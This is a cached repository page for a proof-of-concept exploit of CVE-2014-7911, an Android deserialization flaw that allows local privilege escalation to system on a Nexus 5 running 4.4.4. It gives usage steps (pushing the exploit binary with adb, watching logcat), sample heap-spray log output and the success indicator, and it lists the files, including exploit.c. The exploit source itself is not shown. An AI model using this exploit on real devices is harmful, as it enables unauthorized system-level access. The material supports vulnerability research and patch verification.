CVE-2014-7911 PoC — Android 权限许可和访问控制漏洞

Source

https://github.com/ele7enxxh/CVE-2014-7911

Associated Vulnerability

Title:Android 权限许可和访问控制漏洞 (CVE-2014-7911)
Description:Google Chrome是美国谷歌（Google）公司开发的一款Web浏览器。Android是美国谷歌（Google）公司和开放手持设备联盟（简称OHA）共同开发的一套以Linux为基础的开源操作系统。 Android 5.0.0之前版本的java.io.ObjectInputStream实现中的luni/src/main/java/java/io/ObjectInputStream.java文件存在安全漏洞，该漏洞源于程序没有检查反序列化的对象是否可以序列化。攻击者可借助序列化对象的finalize方

Readme

# CVE-2014-7911
POC for CVE-2014-7911 for Nexus5 Android 4.4.4_r1 based on retme7, use different rop chain

#Info
http://ele7enxxh.com/CVE-2014-7911-Detailed-Analysis-Of-Android-Local-Privilege-Escalation-To-System-Vulnerability.html

# Usage
connect your phone via adb
```
adb push jni/expolit /data/local/tmp
adb logcat | grep auo_
```
lunch this poc, click the “CVE-2014-7911” button, you will see:
```
D/auo_CVE20147911(24892): staticAddr = 0x43a1f000
D/auo_CVE20147911(24892): heap sparying... 0
D/auo_CVE20147911(24892): heap sparying... 100
D/auo_CVE20147911(24892): heap sparying... 200
D/auo_CVE20147911(24892): heap sparying... 300
D/auo_CVE20147911(24892): heap sparying... 400
D/auo_CVE20147911(24892): heap sparying... 500
D/auo_CVE20147911(24892): heap sparying... 600
D/auo_CVE20147911(24892): heap sparying... 700
D/auo_CVE20147911(24892): heap sparying... 800
D/auo_CVE20147911(24892): heap sparying... 900
D/auo_CVE20147911(24892): heap sparying... 1000
D/auo_CVE20147911(24892): heap sparying... 1100
D/auo_CVE20147911(24892): heap sparying... 1200
D/auo_CVE20147911(24892): heap sparying... 1300
D/auo_CVE20147911(24892): heap sparying... 1400
D/auo_CVE20147911(24892): heap sparying... 1500
D/auo_CVE20147911(24892): heap sparying... 1600
D/auo_CVE20147911(24892): heap sparying... 1700
D/auo_CVE20147911(24892): heap sparying... 1800
D/auo_CVE20147911(24892): heap sparying... 1900

```
Then minimize activity several times until the system crashes, if you see:
```
D/auo_exploit(22665): uid=1000(system) gid=1000(system)
```
the exploit has succeeded, if your phone just crashes, your device is vulnerable the exploit may have failed(you should find diffent ROP chains).

File Snapshot


 [4.0K]  /data/pocs/446dcaa4d061ec89f864c177bf757b6c1754719a
├── [4.0K]  app
│   ├── [ 590]  build.gradle
│   ├── [ 652]  proguard-rules.pro
│   └── [4.0K]  src
│       ├── [4.0K]  androidTest
│       │   └── [4.0K]  java
│       │       └── [4.0K]  com
│       │           └── [4.0K]  secauo
│       │               └── [4.0K]  cve_2014_7911
│       │                   └── [ 355]  ApplicationTest.java
│       └── [4.0K]  main
│           ├── [ 690]  AndroidManifest.xml
│           ├── [4.0K]  java
│           │   ├── [4.0K]  AAdroid
│           │   │   └── [4.0K]  os
│           │   │       └── [ 267]  BinderProxy.java
│           │   └── [4.0K]  com
│           │       └── [4.0K]  secauo
│           │           └── [4.0K]  cve_2014_7911
│           │               └── [ 10K]  MainActivity.java
│           └── [4.0K]  res
│               ├── [4.0K]  layout
│               │   └── [ 756]  activity_main.xml
│               ├── [4.0K]  menu
│               │   └── [ 361]  menu_main.xml
│               ├── [4.0K]  mipmap-hdpi
│               │   └── [3.3K]  ic_launcher.png
│               ├── [4.0K]  mipmap-mdpi
│               │   └── [2.2K]  ic_launcher.png
│               ├── [4.0K]  mipmap-xhdpi
│               │   └── [4.7K]  ic_launcher.png
│               ├── [4.0K]  mipmap-xxhdpi
│               │   └── [7.5K]  ic_launcher.png
│               ├── [4.0K]  values
│               │   ├── [ 211]  dimens.xml
│               │   ├── [ 130]  strings.xml
│               │   └── [ 194]  styles.xml
│               └── [4.0K]  values-w820dp
│                   └── [ 358]  dimens.xml
├── [ 436]  build.gradle
├── [4.0K]  gradle
│   └── [4.0K]  wrapper
│       ├── [ 49K]  gradle-wrapper.jar
│       └── [ 232]  gradle-wrapper.properties
├── [ 855]  gradle.properties
├── [5.0K]  gradlew
├── [2.3K]  gradlew.bat
├── [4.0K]  jni
│   ├── [ 765]  Android.mk
│   ├── [9.2K]  exploit
│   └── [ 621]  exploit.c
├── [1.7K]  README.md
└── [  15]  settings.gradle

26 directories, 27 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).

3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.

Goal Reached Thanks to every supporter — we hit 100%!